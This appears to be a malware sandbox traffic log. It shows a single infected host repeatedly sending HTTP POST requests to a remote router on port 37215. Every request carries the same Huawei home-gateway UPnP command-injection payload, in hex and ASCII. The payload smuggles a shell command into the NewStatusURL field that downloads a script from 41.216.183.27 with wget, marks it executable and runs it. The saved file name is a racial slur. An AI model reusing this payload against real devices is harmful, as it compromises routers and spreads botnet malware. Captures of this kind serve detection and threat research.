Feb 19, 2024 18:37:48.304878950 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.440887928 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.752867937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.568795919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.944741011 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.440265894 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.15	43724	94.123.126.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304959059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.504996061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.880876064 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
